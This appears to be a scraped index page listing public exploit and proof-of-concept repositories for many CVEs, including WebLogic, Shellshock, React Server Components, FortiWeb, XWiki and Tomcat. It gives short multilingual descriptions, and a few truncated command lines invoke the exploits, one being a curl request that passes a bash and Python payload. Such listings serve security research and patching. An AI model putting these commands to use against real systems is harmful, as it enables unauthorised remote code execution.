CVE-2024-4577

PHP-CGI Schwachstelle zur Remote-Code-Ausführung unter Windows CVE-2024-4577 Einführung PHP ist die Abkürzung für Hypertext Preprocessor Hypertext-Präprozessor und heute eine weit verbreitete Open-Source-Skriptsprache, die besonders für die Webentwicklung und die Einbettung in HTML geeignet ist...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Ein einfacher Exploit für CVE-2019-2725. Beispielcode: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2025-68613

CVE-2025-68613 n8n هي منصة أتمتة سير عمل مفتوحة المصدر. تحتوي الإصدارات ابتداءً من 0.211.0 وما قبل 1.120.4 و1.121.1 و1.122.0 على ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE في نظام تقييم تعبيرات سير العمل الخاص بها. في ظل ظروف معينة، قد يتم تقييم التعبيرات المقدمة من المستخدمين المصادق عليه...

CVE-2025-55182-golang-PoC

CVE-2025-55182 React Server Components RCE - Go PoC ⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए ⚠️ विवरण CVE-2025-55182 जिसे CVE-2025-66478 के नाम से भी जाना जाता है React Server Components Flight प्रोटोकॉल में एक गंभीर Remote Code Execution RCE भेद्यता है। यह टूल सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन...

CVE-2025-25257

CVE-2025-25257 FortiWeb CVE-2025-25257 Exploit https://pwner.gg/blog/2025-07-10-fortiweb-fabric-rce exp.py: funktionierender/vollständiger Exploit. signed.py: nur ein PoC von Datei lesen/schreiben. Erste Version des Exploits...

CVE-2019-11043

CVE-2019-11043 Execução Remota de Código em PHP-FPM Screencast: https://youtu.be/d6benC5FVZM Visão Geral Este exploit de zero-day em configurações comuns de PHP-FPM foi descoberto durante a competição Realworld CTF em 2019. Uma expressão regular é usada para analisar a URI solicitada, mas...

-CVE-2014-6271

root@kitploit: / || | | | | | | | / || | | |/ \ / | |/ / \ | || | | | | | | \ | || | | | | | | ' / | | || || | | | || | || . \ |/|| |||||/|| ||/ ||\ CVE-2014-6271 — Shellshock Execução Remota de Código via Injeção de Variáveis de Ambiente do Bash "Uma falha que esteve oculta no Bash por...

CVE-2025-1974

CVE-2025-1974 — IngressNightmare ingress-nginx Introdução Este documento apresenta uma pesquisa sobre a vulnerabilidade CVE-2025-1974 , que afeta o componente ingress-nginx validating admission controller para Kubernetes. CVE-2025-1974 é uma vulnerabilidade crítica CVSS 3.1 9.8, consistindo em...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Execução Remota de Código no Servlet CGI do Apache Tomcat Este repositório fornece um ambiente de laboratório baseado em Docker para reproduzir a vulnerabilidade CVE-2019-0232 no Apache Tomcat 9.0.17 no Windows. Visão Geral da Vulnerabilidade A CVE-2019-0232 é uma vulnerabilidade ...

React2Shell_cve-2025-55182

RCE em React Server Components - CVE-2025-55182 Olá! Espero que você esteja tendo um ótimo dia! 😊✨ Sobre o que é isso? As versões 19.0.0 , 19.1.0 , 19.1.1 e 19.2.0 do React Server Components têm um sério problema de segurança. Os pacotes react-server-dom-parcel, react-server-dom-turbopack e...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

CVE-2019-0230-PoC

CVE-2019-0230 Exploit CVE-2019-0230 Questo è l'exploit CVE-2019-0230 : utilizzo python3 cve-2019-230.py esempio: root@kitploit: python3 cve-2019-0230-poc.py pentest.com whoami Testing pentest.com! Command being passed for RCE: whoami 2020/10/22/...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Un ambiente di laboratorio POC per la RCE di CraftCMS CVE-2024-56145. Descrizione della vulnerabilità Una potenziale vulnerabilità RCE è presente in craftCMS se l'opzione registerargcargv è abilitata in php.ini. Questo è un ambiente di laboratorio POC dove puoi...

CVE-2018-16763

CVE 2018-16763 Exploit Introduzione PreAuth-RCE su FUEL CMS 1.4.1 Demo Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2024-32002

GIT RCE CVE-2024-32002 Descrizione | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | Per prima cosa devi creare i repository "calledrepo" e "commandrepo" su git. | La vittima eseguirà successivamente la clonazione di calledrepo con "git clone --recursi...

cve-2022-29464

cve-2022-29464 Disclaimer root@kitploit: Lo script è fornito solo a scopo di studio e di riferimento; non attaccare in modo malevolo i siti web altrui. In caso di violazione di legge, ogni conseguenza è a carico dell'utente. La tecnologia è innocente; l'autore non ha alcuna responsabilità. L'uso...

drupal8-REST-RCE

drupal8-REST-RCE CVE-2019-6340 drupal8-REST-RCE /node/1 , CVE-2018-7600 drupal8 RCE /user/register Comando Unix/Linux - esecuzione di codice remoto comando "id" Uso root@kitploit: python drupal8-REST-RCE.py user defined port python drupal8-REST-RCE.py default : 80/tcp aggiornato! Script modificat...

POC-CVE-2025-55182

Scanner per CVE-2025-55182 Semplice strumento da riga di comando per rilevare e sfruttare CVE-2025-55182 RCE dei React Server Components nelle applicazioni Next.js. Installazione root@kitploit: chmod +x scanner.sh Utilizzo root@kitploit: Scan with default command id ./scanner.sh -d example.com...

CVE-2025-24893-PoC

CVE-2025-24893 - Esecuzione di codice in remoto RCE su XWiki Un proof-of-concept PoC aggiornato per CVE-2025-24893 , una vulnerabilità critica di RCE non autenticata in XWiki. Questa versione migliora l'originale consentendo l'esecuzione arbitraria di comandi shell e l'iniezione pulita di reverse...

CVE-2022-31199

CVE-2022-31199 - PoC degli Exploit RCE di Netwrix Auditor 🔍 Panoramica della vulnerabilità CVE-2022-31199 è una vulnerabilità critica di deserializzazione non sicura di oggetti presente nelle versioni di Netwrix Auditor precedenti alla 10.5. La vulnerabilità è presente in un servizio .NET Remotin...